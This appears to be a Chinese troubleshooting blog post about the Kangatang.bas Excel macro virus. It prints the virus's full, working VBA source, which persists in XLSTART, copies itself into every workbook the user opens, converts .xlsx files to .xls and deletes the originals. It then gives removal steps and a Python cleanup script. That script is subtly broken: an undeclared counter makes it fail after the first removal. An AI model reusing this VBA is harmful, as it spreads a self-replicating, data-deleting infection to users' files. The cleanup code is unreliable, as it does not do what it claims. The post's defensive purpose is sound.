excel 强制 xls 保存解决方法

原因

一些 excel 文件带着名为 Kangatang.bas 的恶意模块，用户只要同时打开其他 excel 文件便会"传染"上，同时在C:\Users\id\AppData\Roaming\Microsoft\Excel路径 xlstart 留下一个 mypersonnel 文件，并且用户会发现再也无法保存文件为 xlsx，只能保存为 xls 格式

Kangatang.bas 展开代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


Attribute VB_Name = "Kangatang"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
 End If
End Sub

一般解决流程

开启 excel 宏功能（已开启可以跳过到 2）

文件 – 选项 – Excel 选项 – 自定义功能区 – 勾选开发工具
删除 excel 模块并保存关闭（记得先删除保存后关闭，否则会占用 3 中的文件）

打开有问题的 excel，点击开发工具，查看代码，单选模块，右键移除，选择不导出，保存关闭文件
删除个人账户 AppData 文件（如果没有删除 2 中的模块重新打开文件，会再次生成 mypersonnel）

之后再下面的目录 C:\Users\id\AppData\Roaming\Microsoft\Excel 目录下把 xlstart 的 mypersonnel 删除

Python 制作便捷小工具

Github 下载地址

使用说明

先创建一个新的文件夹
将“程序”与问题 excel 单个文件一同放到新的文件夹中
运行“程序”
“程序”将会单独删除 excel 中的问题模块保存关闭

注意需要创建新的文件夹，一次只能删除一个 excel 文件的模块，避免目录下文件数量过多，否则会运行失败

展开代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69


import win32com.client
import os
import win32api, win32con


def find_file(l):
    path = os.getcwd()
    #print(path)
    Files = os.listdir(path)
    for k in range(len(Files)):
        if Files[k].endswith('xlsx') or Files[k].endswith('xls') or Files[k].endswith('xlsm'):
            l.append(os.path.join(path, Files[k]))
        else:
            continue
    return l

def delete_module(xlwb):
    for i in xlwb.VBProject.VBComponents:
        xlmodule = xlwb.VBProject.VBComponents(i.Name)
        if xlmodule.Type in [1, 2, 3]:
            if i.Name == 'Kangatang':
                xlwb.VBProject.VBComponents.Remove(xlmodule)
                n = n +1
                #print("remove xlmodule")
                if os.path.exists(exist_file):
                    os.remove(exist_file)
                    #print("remove excelfile")

exist_file = 'C:\\Users\\{0}\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\mypersonnel.xls'.format(os.getlogin())
l = []
pathlis = find_file(l)
global n
n = 0
xlApp = win32com.client.Dispatch("Excel.Application")
xlwb = None

#创建路径下文件名
#遍历path列表，1空列表提示，2excel文件加到列表
#print(path)

# ITERATE THROUGH EACH VB COMPONENT (CLASS MODULE, STANDARD MODULE, USER FORMS)

try:
    print(pathlis)
    if pathlis == []:
        win32api.MessageBox(0 ,"请将文件放到有excel的目录里","消息框",win32con.MB_OK)
        # OPEN EXCEL APP AND WORKBOOK

        #win32api.MessageBox(0 ,"当前路径为"+path,"消息框",win32con.MB_OK)
    else:
        for path in range(len(pathlis)):
            print(path)
            xlwb = xlApp.Workbooks.Open(pathlis[path])
            delete_module(xlwb)
            xlwb.Close(True)

    if n != 0:
        win32api.MessageBox(0,"共删除模块{0}次".format(n),"消息框", win32con.MB_OK)
    else:
        win32api.MessageBox(0,"没有发现问题文件","消息框", win32con.MB_OK)

except Exception as e:
    print(e)
    #win32api.MessageBox(0, e ,"消息框", win32con.MB_OK)

finally:
    # CLOSE AND SAVE AND UNINITIALIZE APP
    xlApp.Quit
    xlApp = None